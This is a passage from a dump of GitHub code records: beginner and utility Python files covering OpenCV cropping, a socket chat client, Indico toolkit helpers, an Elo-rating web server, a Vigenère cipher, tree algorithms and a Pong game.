cv2.imshow('window',frame)\n\nwhile True:\n ret, frame = cap.read()\n cropped = frame[295:345, 215:265]\n frame[0:50, 0:50] = cropped\n count=count+1\n\n count_frames(count)\n\n if cv2.waitKey(77) & 0xFF==ord('q'):\n break\n\ncap.release()\ncv2.destroyAllWindows() ","repo_name":"PriyankaHotchandani/OpenCV-IP","sub_path":"Task 2/2.1 crop a window from centre.py","file_name":"2.1 crop a window from centre.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"27045440989","text":"import socket\nimport select\nimport sys\nimport threading\n\n\nclass myThreadSend(threading.Thread):\n global s\n def __init__(self, threadID, name, counter):\n threading.Thread.__init__(self)\n self.threadID = threadID\n self.name = name\n self.counter = counter\n\n def run(self):\n msgSend(s)\n\nclass myThreadRecv(threading.Thread):\n global s\n def __init__(self, threadID, name, counter):\n threading.Thread.__init__(self)\n self.threadID = threadID\n self.name = name\n self.counter = counter\n\n def run(self):\n msgRecv(s)\n \n\ndef msgRecv(s):\n while True:\n data = s.recv(2048).decode()\n print(data)\n if(data == \"quit\"):\n s.close()\n exit(0)\n\ndef msgSend(s):\n msg = input(\"\")\n while msg:\n s.send(msg.encode())\n if(msg==\"quit\"):\n s.close()\n exit(0)\n msg = None\n \n# while True:\n # sockets_list = [sys.stdin, server]\n # read_sockets, write_socket, error_socket = select.select(sockets_list,[],[])\n\n # for socks in read_sockets:\n # if socks == server:\n # message = socks.recv(2048).decode()\n # print(message)\n # else:\n # message = input()\n # if message == \"quit\":\n # server.send(message.encode())\n # server.close()\n # else:\n # server.send(message.encode())\n # print(\"\"+message)\n\n# server.close()\n\nif __name__ == \"__main__\":\n s = socket.socket()\n\n host = 'localhost'\n port = 9999\n s.connect((host, port))\n\n while True:\n threadSend = myThreadSend(1, \"ThreadSend\", 1)\n threadRecv = myThreadRecv(2, \"threadRecv\", 2)\n\n threadSend.start()\n threadRecv.start()\n threadSend.join()\n threadSend.join()\n \n s.close()\n","repo_name":"ThaHobbyist/Assignments","sub_path":"6th_Sem/CSS652_Networks_Lab/Lab_4/chat_cli.py","file_name":"chat_cli.py","file_ext":"py","file_size_in_byte":1873,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73342961367","text":"import tempfile\nimport json\nimport shutil\nimport os\nfrom typing import List\n\nfrom indico.queries import (\n CreateDataset,\n CreateWorkflow,\n NewLabelsetArguments,\n AddModelGroupComponent,\n GetWorkflow,\n GetDataset,\n)\nfrom indico.types import (\n OcrEngine,\n Dataset,\n Workflow,\n TableReadOrder,\n)\nfrom indico.types import Workflow\nfrom indico_toolkit.errors import ToolkitInputError\n\nfrom .queries import *\nfrom .utils import ModelTaskType\n\n\nclass Structure:\n def __init__(self, client):\n self.client = client\n\n def create_dataset(\n self,\n dataset_name: str,\n files_to_upload: List[str],\n read_api: bool = True,\n **kwargs,\n ) -> Dataset:\n \"\"\"\n Creates a dataset from a list of files.\n\n Args:\n name_of_dataset (str): Name of the created dataset\n file_path (str): Path of the file to copy.\n read_api (bool, optional): OCR Engine used for the dataset. Defaults to True=READ_API / False=OMNIPAGE\n Kwargs:\n Advanced OCR settings\n \"\"\"\n read_api_settings = {\n \"auto_rotate\": True,\n \"single_column\": False,\n \"upscale_images\": True,\n \"languages\": [\"ENG\"],\n }\n omnipage_settings = {\n **read_api_settings,\n \"force_render\": True,\n \"native_layout\": False,\n \"native_pdf\": False,\n \"table_read_order\": \"row\",\n }\n for arg in kwargs.keys():\n if read_api:\n read_api_settings.update({arg: kwargs[arg]})\n else:\n if arg == \"table_read_order\" and kwargs[arg] not in [\"row\", \"column\"]:\n raise ToolkitInputError(\n f\"Keyword argument {arg} got an unexpected value of {kwargs[arg]}, expected value of either 'row' or 'column'\"\n )\n omnipage_settings.update({arg: kwargs[arg]})\n\n ocr_engine = OcrEngine.READAPI if read_api else OcrEngine.OMNIPAGE\n if read_api:\n ocr_settings = {\"read_api_ocr_options\": read_api_settings}\n else:\n omnipage_settings[\"table_read_order\"] = (\n TableReadOrder.ROW\n if omnipage_settings[\"table_read_order\"] == \"row\"\n else TableReadOrder.COLUMN\n )\n ocr_settings = {\"omnipage_ocr_options\": omnipage_settings}\n\n dataset = self.client.call(\n CreateDataset(\n dataset_name,\n files=files_to_upload,\n dataset_type=\"DOCUMENT\",\n ocr_engine=ocr_engine,\n **ocr_settings,\n )\n )\n print(f\"Dataset created with ID: {dataset.id}\")\n return dataset\n\n def create_duplicate_dataset(\n self,\n dataset_name: str,\n file_path: str,\n times_to_copy_files=55,\n read_api=True,\n **kwargs,\n ) -> Dataset:\n \"\"\"\n Creates a dataset w/ duplicate instances of 1 file, historically used to create a spoofed demo.\n\n Args:\n file_path (str): Path of the file to copy.\n name_of_dataset (str): Name of the created dataset\n times_to_copy_files (int, optional): Amount of times to copy the file. Defaults to 55.\n read_api (bool, optional): OCR Engine used for the dataset. Defaults to True=READ_API / False=OMNIPAGE\n Kwargs:\n Advanced OCR settings\n \"\"\"\n tempdir = tempfile.TemporaryDirectory()\n try:\n files_to_add = []\n for i in range(times_to_copy_files):\n fpath = os.path.join(tempdir.name, f\"sample_{i+1}.pdf\")\n shutil.copy(file_path, fpath)\n files_to_add.append(fpath)\n self.create_dataset(\n dataset_name=dataset_name,\n files_to_upload=files_to_add,\n read_api=read_api,\n **kwargs,\n )\n except Exception as e:\n print(e)\n finally:\n tempdir.cleanup()\n\n def create_workflow(self, name: str, dataset_id: int) -> Workflow:\n \"\"\"\n\n Args:\n name (str): Name of the workflow to be created\n dataset_id (int): Dataset ID for the newly created workflow\n \"\"\"\n workflow = self.client.call(CreateWorkflow(name=name, dataset_id=dataset_id))\n print(f\"Workflow created with ID: {workflow.id}\")\n return workflow\n\n def add_teach_task(\n self,\n task_name: str,\n labelset_name: str,\n target_names: List[str],\n dataset_id: int,\n workflow_id: int,\n model_type: str = \"annotation\",\n data_column: str = \"document\",\n prev_comp_id: int = None,\n **kwargs,\n ) -> Workflow:\n \"\"\"\n Args:\n task_name (str): Teach task name\n labelset_name (str): Name for created labelset\n target_names (List[str]): List of target (label) names\n dataset_id (int): Dataset ID.\n workflow_id (int): Workflow ID.\n model_type (str, optional): Defaults to annotation.\n Available model types:\n classification\n annotation\n classification_unbundling\n data_column (str, optional): Defaults to \"document\".\n Kwargs:\n Advanced model training options\n Returns:\n Updated Workflow with newly added model group component.\n \"\"\"\n workflow = self.client.call(GetWorkflow(workflow_id))\n dataset = self.client.call(GetDataset(dataset_id))\n model_map = {\n \"classification\": ModelTaskType.CLASSIFICATION,\n \"annotation\": ModelTaskType.ANNOTATION,\n \"classification_unbundling\": ModelTaskType.CLASSIFICATION_UNBUNDLING,\n \"classification_multiple\": ModelTaskType.CLASSIFICATION_MULTIPLE,\n }\n if model_type not in model_map.keys():\n raise ToolkitInputError(\n f\"{model_type} not found. Available options include {[model for model in model_map.keys()]}\"\n )\n workflow = self.client.call(GetWorkflow(workflow_id))\n if not prev_comp_id:\n prev_comp_id = workflow.component_by_type(\"INPUT_OCR_EXTRACTION\").id\n\n column_id = dataset.datacolumn_by_name(data_column).id\n new_labelset = NewLabelsetArguments(\n labelset_name,\n datacolumn_id=column_id,\n task_type=model_map[model_type],\n target_names=target_names,\n )\n\n workflow = self.client.call(\n AddModelGroupComponent(\n workflow_id=workflow.id,\n name=task_name,\n dataset_id=dataset.id,\n source_column_id=column_id,\n after_component_id=prev_comp_id,\n new_labelset_args=new_labelset,\n model_training_options=json.dumps(kwargs),\n )\n )\n print(\n f\"Newly created teach task with teach_id: {workflow.components[-1].model_group.questionnaire_id}\"\n )\n return workflow\n\n def get_teach_details(self, teach_task_id: int):\n return self.client.call(GetTeachDetails(teach_task_id=teach_task_id))\n\n def get_example_ids(self, model_group_id: int, limit: int):\n return self.client.call(\n GetExampleIds(model_group_id=model_group_id, limit=limit)\n )\n\n def label_teach_task(self, label_set_id: int, labels: dict, model_group_id: int):\n return self.client.call(\n LabelTeachTask(\n label_set_id=label_set_id, labels=labels, model_group_id=model_group_id\n )\n )\n","repo_name":"IndicoDataSolutions/Indico-Solutions-Toolkit","sub_path":"indico_toolkit/structure/create_structure.py","file_name":"create_structure.py","file_ext":"py","file_size_in_byte":7761,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"31"} +{"seq_id":"11971834917","text":"#!/usr/bin/python\nfrom http.server import BaseHTTPRequestHandler,HTTPServer\nfrom os import curdir, sep\nimport cgi\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport webbrowser\nimport datetime as dt \nimport matplotlib.pyplot as plt\n\nPORT_NUMBER = 8080\n\n#This class will handles any incoming request from\n#the browser \nclass myHandler(BaseHTTPRequestHandler):\n \n #Handler for the GET requests\n def do_GET(self):\n if self.path==\"/\":\n self.path=\"/index.html\"\n\n try:\n #Check the file extension required and\n #set the right mime type\n\n sendReply = False\n self.path = self.path.split(\"?\")[0]\n\n if self.path.endswith(\".html\"):\n mimetype='text/html'\n sendReply = True\n if self.path.endswith(\".png\"):\n mimetype='image/png'\n sendReply = True\n if self.path.endswith(\".jpg\"):\n mimetype='image/jpg'\n sendReply = True\n if self.path.endswith(\".gif\"):\n mimetype='image/gif'\n sendReply = True\n if self.path.endswith(\".js\"):\n mimetype='application/javascript'\n sendReply = True\n if self.path.endswith(\".css\"):\n mimetype='text/css'\n sendReply = True\n if self.path.endswith(\".csv\"):\n mimetype='text/plain'\n sendReply = True\n\n\n if sendReply == True:\n #Open the static file requested and send it\n self.send_response(200)\n self.send_header('Content-type',mimetype)\n self.end_headers()\n if mimetype.startswith('image'):\n f = open(curdir + sep + self.path, \"rb\")\n self.wfile.write(f.read())\n else:\n f = open(curdir + sep + self.path, \"r\") \n self.wfile.write(f.read().encode('utf-8'))\n f.close()\n return\n\n except IOError:\n self.send_error(404,'File Not Found: %s' % self.path)\n\n #Handler for the POST requests\n def do_POST(self):\n if self.path==\"/send\":\n form = cgi.FieldStorage(\n fp=self.rfile, \n headers=self.headers,\n environ={'REQUEST_METHOD':'POST',\n 'CONTENT_TYPE':self.headers['Content-Type'],\n })\n\n df_scores = pd.read_csv(\"./scores.csv\", header=0)\n df_scores.score1.astype(int)\n df_scores.score2.astype(int)\n datetime_now = pd.datetime.now()\n\n player1 = form[\"player1\"].value\n player2 = form[\"player2\"].value\n player3 = form[\"player3\"].value\n player4 = form[\"player4\"].value\n score1 = int(form[\"score1\"].value)\n score2 = int(form[\"score2\"].value)\n steepness = int(form[\"steepness\"].value)\n k_factor = int(form[\"k_factor\"].value)\n\n players = []\n players.append(player1) if player1 != \"NULL\" else False\n players.append(player2) if player2 != \"NULL\" else False\n players.append(player3) if player3 != \"NULL\" else False\n players.append(player4) if player4 != \"NULL\" else False\n\n proceed = True\n\n # Some sanity checks\n if len(players) == 2 and player1 == \"NULL\" and player2 == \"NULL\":\n print(\"Aborting: one-sided kicker was provided\")\n proceed = False\n if len(players) == 2 and player3 == \"NULL\" and player4 == \"NULL\":\n print(\"Aborting: one-sided kicker was provided\")\n proceed = False\n if len(players) == 3:\n print(\"Aborting: three players match cannot be rated\")\n proceed = False\n if len(players) == 0:\n print(\"Aborting: no player...\")\n proceed = False\n if len(players) == 1:\n print(\"Aborting: only one player...\")\n proceed = False\n if score1 == \"0\" and score2 == \"0\":\n print(\"Aborting: 0-0 match...\")\n proceed = False\n\n if proceed:\n new_score_entry = {\n \"datetime\": datetime_now,\\\n \"player1\": player1, \\\n \"player2\": player2, \\\n \"player3\": player3, \\\n \"player4\": player4, \\\n \"score1\" : score1, \\\n \"score2\" : score2 \\\n }\n\n scores = []\n scores.append(int(score1))\n scores.append(int(score2))\n\n df_scores.loc[len(df_scores)]=new_score_entry\n df_scores.to_csv(\"./scores.csv\", sep=\",\", header=True, index=False, date_format=\"%Y-%m-%d %H:%M:%S\")\n df_scores = df_scores.where((pd.notnull(df_scores)), 'NULL')\n dateparse = lambda x: pd.datetime.strptime(x, '%Y-%m-%d %H:%M:%S')\n df_elos = pd.DataFrame(columns=['datetime','match_number','player','elo'])\n\n df_players = pd.read_csv(\"./players.csv\", names=[\"player\"])\n\n for index, row in df_players.iterrows(): \n new_elo_entry = {\n \"datetime\": pd.datetime.strptime(\"1970-01-01 00:00:00\", '%Y-%m-%d %H:%M:%S'), \\\n \"match_number\": 0, \\\n \"player\" : row[0], \\\n \"elo\" : 1000 \\\n }\n df_elos.loc[len(df_elos)]=new_elo_entry\n\n # Rating based on https://math.stackexchange.com/questions/838809/rating-system-for-2-vs-2-2-vs-1-and-1-vs-1-game\n for score_row in df_scores.itertuples():\n players = []\n elos = []\n scores = []\n players.append(score_row.player1) if score_row.player1 != 'NULL' else False\n players.append(score_row.player2) if score_row.player2 != 'NULL' else False\n players.append(score_row.player3) if score_row.player3 != 'NULL' else False\n players.append(score_row.player4) if score_row.player4 != 'NULL' else False\n match_datetime = score_row.datetime\n scores.append(score_row.score1) \n scores.append(score_row.score2) \n\n for player in players:\n df_elos_player = df_elos[df_elos['player'] == player]\n elo_values = df_elos_player[df_elos_player.index == df_elos_player.index.max()].elo.values\n elo = int(elo_values[0]) if elo_values.size == 1 else 1000\n elos.append(elo)\n\n updated_elos = []\n actual_score = scores[0] / (scores[0] + scores[1])\n\n if len(players) == 2:\n expected_score = 1 / (1 + 10**((elos[1] - elos[0]) / steepness))\n updated_elos.append(elos[0] + k_factor * max(scores) * (actual_score - expected_score))\n updated_elos.append(elos[1] + k_factor * max(scores) * (expected_score - actual_score)) \n else:\n expected_score = 1 / (1 + 10**(((((elos[2] + elos[3]) / 2) - ((elos[0] + elos[1])) / 2)) / steepness))\n updated_elos.append(elos[0] + (k_factor / 2) * max(scores) * (actual_score - expected_score))\n updated_elos.append(elos[1] + (k_factor / 2) * max(scores) * (actual_score - expected_score))\n updated_elos.append(elos[2] + (k_factor / 2) * max(scores) * (expected_score - actual_score)) \n updated_elos.append(elos[3] + (k_factor / 2) * max(scores) * (expected_score - actual_score)) \n \n for player,updated_elo in zip(players,updated_elos): \n new_elo_entry = {\n \"datetime\": match_datetime, \\\n \"match_number\": score_row.Index + 1,\\\n \"player\" : player, \\\n \"elo\" : int(updated_elo) \\\n }\n\n df_elos.loc[len(df_elos)]=new_elo_entry\n\n df_elos.to_csv(\"./elos.csv\", sep=\",\", header=True, index=False, date_format=\"%Y-%m-%d %H:%M:%S\")\n\n\n plt.style.use('fivethirtyeight')\n fig, ax = plt.subplots(figsize=(10,6))\n \n color_sequence = ['#1f77b4', '#aec7e8', '#ff7f0e', '#ffbb78', '#2ca02c',\n '#98df8a', '#d62728', '#ff9896', '#9467bd', '#c5b0d5',\n '#8c564b', '#c49c94', '#e377c2', '#f7b6d2', '#7f7f7f',\n '#c7c7c7', '#bcbd22', '#dbdb8d', '#17becf', '#9edae5']\n\n \n for index,row in df_players.iterrows():\n if (df_elos.player == row.player).any():\n df_elos[df_elos.player == row.player].plot(x=\"match_number\", y=\"elo\", color=color_sequence[index], ax=ax, label=row.player)\n\n plt.xlabel('Match number')\n lgd = plt.legend(loc='center left', bbox_to_anchor=(1, 0.5))\n plt.savefig(\"./elos.png\", bbox_extra_artists=(lgd,), bbox_inches='tight')\n\n df_last_elos = pd.DataFrame(columns=['player', 'elo'])\n\n for index,row in df_players.iterrows():\n if (df_elos.player == row.player).any():\n elo = df_elos[df_elos.player == row.player].tail(1)['elo']\n new_elo_entry = {\n \"player\" : row.player, \\\n \"elo\" : int(elo) \\\n }\n df_last_elos.loc[len(df_last_elos)]=new_elo_entry\n \n expected_scores_html = ''\n for index,row_i in df_last_elos.iterrows():\n expected_scores_html += '\"\n expected_scores_html += \"\"\n for index,row_i in df_last_elos.iterrows():\n expected_scores_html += '\"\n for index,row_j in df_last_elos.iterrows():\n expected_score = 1 / (1 + 10**((row_i.elo - row_j.elo) / steepness))\n if (expected_score > 0.5):\n expected_scores_html += \"\"\n else:\n expected_scores_html += \"\"\n expected_scores_html += \"\"\n expected_scores_html += \"
    ' + str(row_i.player) + \"
    ' + str(row_i.player) + \"\" + format((11*(1-expected_score))/(expected_score),\".2f\") + \"/1111/\" + format((11*expected_score)/(1-expected_score),\".2f\") + \"
    \"\n f = open(\"expected_scores.html\", \"w\")\n f.write(expected_scores_html)\n\n self.send_response(200)\n self.end_headers()\n return \n \ntry:\n #Create a web server and define the handler to manage the\n #incoming request\n server = HTTPServer(('', PORT_NUMBER), myHandler)\n print('Started httpserver on port ' , PORT_NUMBER)\n webbrowser.open(\"http://localhost:8080\", new=0, autoraise=True)\n #Wait forever for incoming http requests\n server.serve_forever()\n\nexcept KeyboardInterrupt:\n print('^C received, shutting down the web server')\n server.socket.close()\n","repo_name":"jcolot/FourPlayersEloRating","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":11464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"24812482748","text":"#!/rsr/bin/env python3\n\nfrom sys import argv\n\n\ndef main():\n # check command line arguments\n if len(argv) != 2:\n print(\"usage: python vigenere.py keyword\")\n exit(1)\n elif not argv[1].isalpha():\n print(\"key must be alphabetical only\")\n exit(1)\n\n # set-up variables for later use\n k = argv[1] # keyword\n pos = 0 # position indicator for iterating through keyword\n c = [] # list for adding encrypted letters\n\n # prompt user for plaintext string\n p = input(\"plaintext: \")\n\n # encrypt plaintext\n for l in p:\n # encrypt letter l with k[index % len(k)] where index counts +1 with each runthrough of the loop\n c.append(encrypt(l, k[pos % len(k)]))\n if l.isalpha():\n pos += 1\n\n print(\"ciphertext: {}\".format(\"\".join(c)))\n\n\ndef encrypt(letter, key):\n # the key is not case sensitive\n key = (ord(key.upper()) - 65)\n\n if letter.isalpha():\n if letter.isupper():\n # 65\n letter = (((ord(letter) - 65) + key) % 26) + 65\n return chr(letter)\n elif letter.islower():\n # 97\n letter = (((ord(letter) - 97) + key) % 26) + 97\n return chr(letter)\n else:\n return letter\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"forgxyz/cs50x","sub_path":"pset6/vigenere.py","file_name":"vigenere.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"273944977","text":"import queue\ndef swap(a, b):\n a ^= b\n b ^= a\n a ^= b\n return a, b\n\ndef creatSparse(max_node, parent):\n j = 1\n while (1 << j) < max_node:\n for i in range(1, max_node + 1):\n parent[j][i] = parent[j - 1][parent[j - 1][i]]\n j += 1\n return parent\n\ndef LCA(u, v, level, parent):\n if level[u] < level[v]:\n u, v = swap(u, v)\n for i in range(18, -1, -1):\n if level[u] - (1 << i) >= level[v]:\n u = parent[i][u]\n if u == v:\n return u\n for i in range(18, -1, -1):\n if parent[i][u] != 0 and parent[i][u] != parent[i][v]:\n u, v = parent[i][u], parent[i][v]\n return parent[0][u]\n\ndef bfs(level, parent, max_node, graph, root=1):\n level[root] = 0\n q = queue.Queue(maxsize=max_node)\n q.put(root)\n while q.qsize() != 0:\n u = q.get()\n for v in graph[u]:\n if level[v] == -1:\n level[v] = level[u] + 1\n q.put(v)\n parent[0][v] = u\n return level, parent\n\ndef main():\n max_node = 13\n parent = [[0 for _ in range(max_node + 10)] for _ in range(20)]\n level = [-1 for _ in range(max_node + 10)]\n graph = {\n 1: [2, 3, 4],\n 2: [5],\n 3: [6, 7],\n 4: [8],\n 5: [9, 10],\n 6: [11],\n 7: [],\n 8: [12, 13],\n 9: [],\n 10: [],\n 11: [],\n 12: [],\n 13: [],\n }\n level, parent = bfs(level, parent, max_node, graph, 1)\n parent = creatSparse(max_node, parent)\n print(\"LCA of node 1 and 3 is: \", LCA(1, 3, level, parent))\n print(\"LCA of node 5 and 6 is: \", LCA(5, 6, level, parent))\n print(\"LCA of node 7 and 11 is: \", LCA(7, 11, level, parent))\n print(\"LCA of node 6 and 7 is: \", LCA(6, 7, level, parent))\n print(\"LCA of node 4 and 12 is: \", LCA(4, 12, level, parent))\n print(\"LCA of node 8 and 8 is: \", LCA(8, 8, level, parent))\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"PratikshaDanti/APS","sub_path":"Code Library/140.lowest_common_ancestor.py","file_name":"140.lowest_common_ancestor.py","file_ext":"py","file_size_in_byte":1946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"43518296206","text":"# -*- coding: utf-8 -*-\r\n\r\n# 10. Librería Python\r\n\r\n\r\n\r\n\r\n\r\n# OS\r\n\r\nimport os # El módulo \"os\" provee funciones para interactuar con el sistema operativo\r\n\r\ndir(os) # Lista de funciones\r\n\r\nhelp(os) # Manual del módulo\r\n\r\nos.system(\"notepad\") # Corre el comando en el terminal. En este caso, se abrirá el block de notas\r\n\r\nos.getcwd() # Devuelve el directorio de trabajo\r\n\r\nos.chdir(\"C:\\\\Users\\\\Pipo Dirrabart\\\\scripts\\\\python\") # Cambia el directorio de trabajo\r\n\r\n\r\n\r\n\r\n\r\n# MATH\r\n\r\nimport math # \"math\" provee herramientas matemáticas fundamentales\r\n\r\nmath.cos(0)\r\n\r\nmath.pi\r\n\r\nmath.log(64,2)\r\n\r\nmath.e\r\n\r\n\r\n\r\n\r\n\r\n# RANDOM\r\n\r\nimport random # \"random\" provee funciones relacionadas con el muestreo aleatorio\r\n\r\nrandom.choice([\"a\",\"b\",\"c\"]) # Elección con reemplazo\r\n\r\nrandom.sample(range(100), 10) # Elección sin reemplazo\r\n\r\nrandom.random() # Float al azar entre 0 y 1\r\n\r\nrandom.randrange(14) # Elección de un entero entre 0 y 13 con reemplazo\r\n\r\n\r\n\r\n\r\n\r\n# DATE\r\n\r\nimport datetime # \"datetime\" trae funciones para la manipulación de fechas\r\n\r\nhoy = datetime.date.today()\r\n\r\nhoy\r\n\r\nnacimiento = datetime.date(1995,1,10)\r\n\r\nnacimiento\r\n\r\nedad = hoy - nacimiento\r\n\r\nedad\r\n\r\nedad.days\r\n\r\n\r\n\r\n\r\n\r\n# Existen muchos módulos incluidos en la biblioteca estándar de Python, que pueden ser útiles. Así que se recomienda echarle un ojo","repo_name":"mdibarrart/python_tutorial","sub_path":"C10.py","file_name":"C10.py","file_ext":"py","file_size_in_byte":1337,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73341781527","text":"import os\n\nfrom indico.core import signals\nfrom indico.core.db import db\n\nfrom .logger import logger\nfrom .oauth2 import require_oauth\n\n\n__all__ = ['require_oauth']\n\n\n@signals.core.app_created.connect\ndef _no_ssl_required_on_debug(app, **kwargs):\n if app.debug or app.testing:\n os.environ['AUTHLIB_INSECURE_TRANSPORT'] = '1'\n\n\n@signals.users.merged.connect\ndef _delete_merged_user_tokens(target, source, **kwargs):\n target_app_links = {link.application: link for link in target.oauth_app_links}\n for source_link in source.oauth_app_links.all():\n try:\n target_link = target_app_links[source_link.application]\n except KeyError:\n logger.info('merge: reassigning %r to %r', source_link, target)\n source_link.user = target\n else:\n logger.info('merge: merging %r into %r', source_link, target_link)\n target_link.update_scopes(set(source_link.scopes))\n target_link.tokens.extend(source_link.tokens)\n db.session.delete(source_link)\n","repo_name":"indico/indico","sub_path":"indico/core/oauth/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"en","doc_type":"code","stars":1560,"dataset":"github-code","pt":"31"} +{"seq_id":"31241009778","text":"def rotate(matrix, d):\n N = len(matrix)\n new_matrix = [[0] * N for i in range(N)]\n\n if d % 4 == 1:\n for i in range(N):\n for j in range(N):\n new_matrix[j][N - 1 - i] = matrix[i][j]\n elif d % 4 == 2:\n for i in range(N):\n for j in range(N):\n new_matrix[N - 1 - j][N - 1 - i] = matrix[j][i]\n elif d % 4 == 3:\n for i in range(N):\n for j in range(N):\n new_matrix[N - 1 - j][i] = matrix[i][j]\n else:\n new_matrix = matrix\n\n for i in range(N):\n for j in range(N):\n print(matrix[i][j], end=' ')\n print()\n \n print()\n\n for i in range(N):\n for j in range(N):\n print(new_matrix[i][j], end=' ')\n print()\n \n return new_matrix\n\ndef solution(key, lock):\n ans = 0\n options = [0, 1, 2, 3]\n\n # for i in range(4):\n # print('-', i, '-')\n # rotate(key, i)\n # print('-----\\n')\n\n \n\n return ans\n\n\ndef test(key, lock, ans):\n try:\n assert len(key) >= 3 and len(key) <= 20\n assert len(lock) >= 3 and len(lock) <= 20\n assert(solution(key, lock) == ans)\n print('정답입니다 :)')\n except AssertionError as err:\n print('틀렸습니다 :(')\n\n\nif __name__ == '__main__':\n test([[0, 0, 0], [1, 0, 0], [0, 1, 1]], [[1, 1, 1], [1, 1, 0], [1, 0, 1]], True)","repo_name":"dlsrks1218/Algorithm_Study","sub_path":"programmers/kakao05.py","file_name":"kakao05.py","file_ext":"py","file_size_in_byte":1393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"25953077546","text":"#!/usr/bin/python3\n\"\"\"Module which inherits BaseGeometry\"\"\"\n\nBaseGeometry = __import__(\"7-base_geometry\").BaseGeometry\n\n\nclass Rectangle(BaseGeometry):\n \"\"\"Derive class which inherits from BaseGeometry\"\"\"\n\n def __init__(self, width, height):\n \"\"\"constructor and instance variables\"\"\"\n\n self.integer_validator(\"width\", width)\n self.__width = width\n self.integer_validator(\"height\", height)\n self.__height = height\n","repo_name":"CodedJay672/alx-higher_level_programming","sub_path":"0x0A-python-inheritance/8-rectangle.py","file_name":"8-rectangle.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5538194277","text":"from datetime import datetime\nfrom pytest import fixture\nfrom taskit.application.models.task import Task\n\n\n@fixture\ndef task() -> Task:\n name = \"Buy the milk\"\n return Task(name=name)\n\n\ndef test_task_creation(task: Task) -> None:\n assert task.name == \"Buy the milk\"\n\n\ndef test_task_default_attributes(task: Task) -> None:\n assert task.uid == \"\"\n assert isinstance(task.due_date, datetime)\n assert task.priority == 1\n assert task.project_id == \"\"\n assert task.stage == \"\"\n assert task.comments == \"\"\n\n\ndef test_task_initilization_from_dict():\n now = datetime.now()\n task_dict = {\n 'name': \"Go to the gym\",\n 'uid': \"T-007\",\n 'due_date': now,\n 'priority': 3,\n 'project_id': \"P-001\",\n 'stage': \"Draft\",\n 'comments': \"Don't hesitate. Do it!\"\n }\n task = Task(**task_dict)\n assert task.name == \"Go to the gym\"\n assert task.uid == \"T-007\"\n assert task.due_date == now\n assert task.priority == 3\n assert task.project_id == \"P-001\"\n assert task.stage == \"Draft\"\n assert task.comments == \"Don't hesitate. Do it!\"\n","repo_name":"knowark/clean-architecture-python","sub_path":"tests/application/models/test_task.py","file_name":"test_task.py","file_ext":"py","file_size_in_byte":1110,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"31"} +{"seq_id":"41890138568","text":"#coding:utf8\n'''\nCreated on 2013-10-25\n\n@author: lan (www.9miao.com)\n'''\nfrom app.game.gatenodeservice import remoteserviceHandle\nfrom app.game.core.character.PlayerCharacter import PlayerCharacter\nfrom app.game.core.PlayersManager import PlayersManager\n\n\n\n@remoteserviceHandle\ndef enterPlace_601(dynamicId, characterId, placeId,force,player):\n '''进入场景'''\n if not player:\n player = PlayerCharacter(characterId,dynamicId = dynamicId)\n PlayersManager().addPlayer(player)\n playerinfo = player.formatInfo()\n responsedata = {'result':True,'message':'',\n 'data':{'cid':playerinfo['id'],\n 'name':playerinfo['nickname'],\n 'score':playerinfo['score']}\n }\n return responsedata\n\n \n","repo_name":"cnsuhao/gamein9miao","sub_path":"server/src/project_n/app/game/gatenodeapp/enter.py","file_name":"enter.py","file_ext":"py","file_size_in_byte":814,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"74473133208","text":"import pygame\nfrom sys import exit\n\ndef display_score(points_player_score, points_ai_score):\n points_player = game_font.render(f'{points_player_score}', False, 'white')\n points_ai = game_font.render(f'{points_ai_score}', False, 'white')\n screen.blit(points_player, (200,10))\n screen.blit(points_ai, (950,10))\n \npygame.init()\npygame.display.set_caption('pong')\ngame_font = pygame.font.Font('font/Pixeltype.ttf', 150)\nscreen = pygame.display.set_mode((1200,700)) # w,h\nclock = pygame.time.Clock()\n\nbackground_surface = pygame.Surface((1200,700))\n\nball_surface = pygame.Surface((20,20))\nball_surface.fill('white')\nball_x_pos = 600.0\nball_y_pos = 350.0\nball_rect = ball_surface.get_rect(center = (ball_x_pos,ball_y_pos))\n\n\nai_off_surface = game_font.render('ai is off', False, 'red')\n\nplayer_surface = pygame.Surface((20,150))\nplayer_rect = player_surface.get_rect(center = (60,350))\nplayer_surface.fill('white')\n\nai_status = True\nai_surface = pygame.Surface((20,150))\nai_rect = player_surface.get_rect(center = (1200-60,350))\nai_surface.fill('white')\n\nball_x_speed = 7.0\nball_y_speed = 7.0\npoints_player_score = 0\npoints_ai_score = 0\n\nwhile True:\n screen.blit(background_surface,(0,0))\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n exit()\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_PAGEDOWN:\n if ai_status:\n ai_status = False\n else:\n ai_status = True\n \n \n #ball movement \n ball_rect.x += ball_x_speed\n ball_rect.y += ball_y_speed\n if ball_rect.bottom >= 700:\n ball_y_speed = -ball_y_speed\n if ball_rect.top <= 0: \n ball_y_speed = -ball_y_speed\n if ball_rect.right >= 1200:\n ball_rect.x = 1200 - ball_rect.x + 200\n points_player_score += 1\n if ball_rect.left <= 0: \n 